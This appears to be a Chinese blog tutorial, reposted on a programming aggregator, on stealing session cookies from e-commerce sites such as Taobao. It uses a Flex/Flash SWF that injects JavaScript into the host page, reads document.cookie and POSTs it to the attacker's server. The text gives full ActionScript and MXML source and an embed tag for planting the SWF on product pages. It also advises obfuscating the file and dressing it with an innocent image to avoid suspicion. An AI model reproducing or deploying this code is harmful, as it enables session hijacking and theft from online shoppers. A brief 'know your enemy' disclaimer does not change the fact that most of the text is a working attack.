好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

利用flex秘密获取商业网站的Cookie(XSS跨站攻击)

-----luodfu       现在电子商务越来越活,电子商务网上购物已经成为我们生活中不可缺少的一部分。因此,电子商务网站的安全在电子商务网站也是很重要的部分。保护网站用户身份安全,保护用户的密码账号,Cookies已经成为网上交易安全最重要的一部分。难怪拍拍网,淘宝网的登录页面变化很快,里面内容也是越丰富,里面安装的ActiveX控件经常变,登录前帐号密码发送加密方式也不断变化。一旦用户的cookies被窃取了,视乎拿到cookies不法者只要使用得当就可以实现用户的成为,比如修改你的个人信息,网上购物等等。当然,本文这里倒不是说要盗窃别人的东西,而是要大家明白这个原理等到你自己做类似网站安全注意这个东东,知彼知己,百战不胜嘛。            我们拿淘宝网的东东来说说吧,里面安全还是做的不错,目前外部提交的包含javascript,ifrane链接外部等XSS攻击的代码都被屏蔽了。不过flex(flash)还是可以运行的,但是要交钱和审核过flash才可以好像。通常,获取cookies方法在你要攻击的网站页面上嵌入javascript:比如:   http://HdhCmsTest2cto测试数据 /xxxxxx.xx/?cookie=document.cookies   或者嵌入一个iframe,在iframe实现类是上面的源码。这样用户的cookie就拿到手了。不过一般的大型电子商务网站比如淘宝网都已经屏蔽这些了。所以利用js,iframe是无法实现的。我想到最后一交就是将flash嵌入到要攻击的网站页面,然后在flash运行时候动态嵌入js到页面上(前提是必须是flash没有被屏蔽)。这样js并没有提交电子网站上,一般是不被发现了。当然我说的是一般哦。呵呵。好了开始实现获取cookie flash代码吧:       package  luodongfu.test.stealcookie   {         import flash.external.ExternalInterface;            import mx.controls.Alert;          public class CookieStealer         {                                 /**                  * 绑定js ,运行时候嵌入到页面上,秘密就在这里。                  */                                public static function embedJS():void                 {                         var str:String = "";                                                 //设置cookie                         str += 'function setCookie_(name, value, expires, security) {' +                                         '        var str = name + "=" + escape(value);' +                                         '        if (expires != null) str += ";expires=" + new Date(expires).toGMTString() + "";' +                                         '        if (security == true) str += ";secure";' +                                         '        document.cookie = str;' +                                         '}';                                                 //获取cookie                                str += 'function getCookie_(name) {' +                                         '        var arr = document.cookie.match(new RegExp(";?" +name + "=([^;]*)"));' +                                            '        if(arr != null) return unescape(arr[1]); ' +                                            '        return null;' +                                         '}';                                 str += 'function getCookieAll() {' +                                                                      '        return document.cookie;' +                                         '}';                                                           str += 'function deleteCookie_(name) {' +                               '        var d = new Date();' +                                         '        d.setTime(d.getTime() - 1);' +                                         '        var value = getCookie_(name);' +                                         '        if(value != null) {' +                                         '                alert(document.cookie);document.cookie = name + "=" + escape(value) + ";expire=" + d.toGMTString();' +                                         '        }' +                                         '}';                         if (ExternalInterface.available) {                                 ExternalInterface.call("eval", str);                                                      }                 }                                                                            /**                  * 获取cookie值                  * @param name                  * @return                  *                  */                                public static function getCookie(name:String):String {                         if (ExternalInterface.available) {                                 return ExternalInterface.call("getCookie_", name);                         }                                                 return null;                 }          public static function getAvailable():Boolean {                                                return ExternalInterface.available;                 }                                 /**                  * 删除cookie                  *                  * @param name                  *                  */                                public static function deleteCookie(name:String):void {                         if (ExternalInterface.available) {                                 ExternalInterface.call("deleteCookie_", name);                         }                 }         } }       好了,万事具备,只欠东风了,就是调用以上嵌入代码写到页面上。       <mx:Application xmlns:mx="http://HdhCmsTestadobe测试数据/2006/mxml" layout="absolute" creationComplete="stealCookieNow()" width="60" height="20">   <mx:Script>           <![CDATA[         import luodongfu.test.stealcookie.CookieStealer;            import mx.controls.Alert;   //flash一旦被 下载 到用户浏览器自动运行这段嵌入js        public function stealCookieNow():void        {               CookieStealer.embedJS();                if (ExternalInterface.available)                  {                   var cook:String="";                     try                      {                        //这句话得到cookie                        cook= ExternalInterface.call("getCookieAll");                     }                    catch (error:Error)                      {                          Alert.show("Error");                      }                  //得到cookie之后赶紧把他送到你服务器吧,cookie是有期限哦,要用就赶紧使用吧     以下代码就是发送cookie到你的网站                var request:URLRequest = new URLRequest("http:// HdhCmsTest2cto测试数据 /cookiehere");                     var params:URLVariables = new URLVariables();                params.cookie=cook;                  request.data=params;                  request.method=URLRequestMethod.POST;                loader.load(request);    }                  else {                   Alert.show("ExternalInterface not avalible");                   }                  }                       ]]>       </mx:Script>   </mx:Application>       编译你的flex工程生成swf文件CookieStealer.swf,这个flash文件就是窃取的挂马,呵呵。   为了保证你的挂马不被人家反编译过来查看,最后SWF Protect加密马甲生成CookieStealer2.swf一下吧。   好了,将你这个swf文件挂到你自己的收集cookies服务器在写一个HttpServlet来接受Cookie吧。   最后在电子商务网站(比如淘宝网的商品宝贝详情)可以提交html页面提交你的服务器swf网址吧。 源码 如下:   <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"                codebase="http://fpdownload.macromedia测试数据/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0"            width="100" height="300" id="myNext">     <param name="quality" value="transparent">     <param name="wmode" value="opaque">     <param name="allowScriptAccess" value="always" />     <param name="movie" value="http://你的服务器/getcookies/CookieStealer2.swf">     <param name="FlashVars" value=""/>     <param name="quality" value="high" />     <embed src= HdhCmsTest2cto测试数据 /getcookies/CookieStealer2.swf FlashVars=["             quality="high" width="700" height="380" name="myNext" allowScriptAccess="always"             type="application/x-shockwave-flash" pluginspage="http://HdhCmsTestmacromedia测试数据/go/getflashplayer"     /> </object>http://       记得给你的swf文件搞个漂亮图片,不容易让人家怀疑,呵呵。这叫瞒天过海,知人知面不知心啊,呵呵  

查看更多关于利用flex秘密获取商业网站的Cookie(XSS跨站攻击)的详细内容...

  阅读:57次